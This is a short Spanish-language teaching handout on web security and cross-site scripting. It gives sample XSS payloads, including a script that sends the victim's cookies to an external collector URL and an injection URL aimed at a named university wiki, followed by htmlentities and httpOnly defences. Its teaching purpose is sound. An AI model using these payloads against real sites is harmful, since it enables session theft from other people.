Seguridad Informática –
Seguridad Web
Lo más importante en seguridad web es
validarlo todo y dejar siempre la seguridad en el lado del servidor y nunca del cliente.
Hay que validar la entrada desde formularios, lo que viene en la url, etc
Cross Site Scripting (XSS)
Técnicas que permiten obtener información que otra web ha dejado en minavegador, por ejemplo: cookies.
Esto se consigue inyectando código en la aplicación web del otro dominio: html, css, javascript.
Para inyectar código envíamos en el formulario o en la url el código que queramos inyectar, siempre que luego este código se muestre y por tanto se ejecute en la página de la víctima.
Insertando código javascript
<script language='javascript'>location.href='http://www.us.es';</script>
Insertando css
<div style="position:absolute;top:0px;left:0px;
z-order=5000;background-color:red;color:white;width:100%;height:100%;">XSS</div>
Leyendo cookies
<script language='javascript'>location.href='
http://10.1.25.52/~palako/forpas/cookie.php?c=' + document.cookie;</script>
Para evitar todo esto
1. Usamos htmlentities
2. En ASP.net también podemos usar la bandera httpOnly en la cookie
En PHP
Para evitar este tipo de vulnerabilidad en una página desarrollada en PHP uno de los métodos que pueden ser utilizados es mediante la función htmlentities() que nos convertirá los caracteres especiales a entidades HTML
<?php
$nuevo = htmlspecialchars("<a>'test'</a>", ENT_QUOTES);
echo $nuevo;
?>
Mostrando:
<a>'test'</a>
Atención a la opción TRACE
Caso real icasus
http://wiki.us.es/icasus11/index.php?aviso=%3Cscript%3Ealert(document.cookie);%3C/script%3E
Enlaces
http://www.boinasnegras.com/ – Retos hacker.
http://www.noletia.com/forpas.htm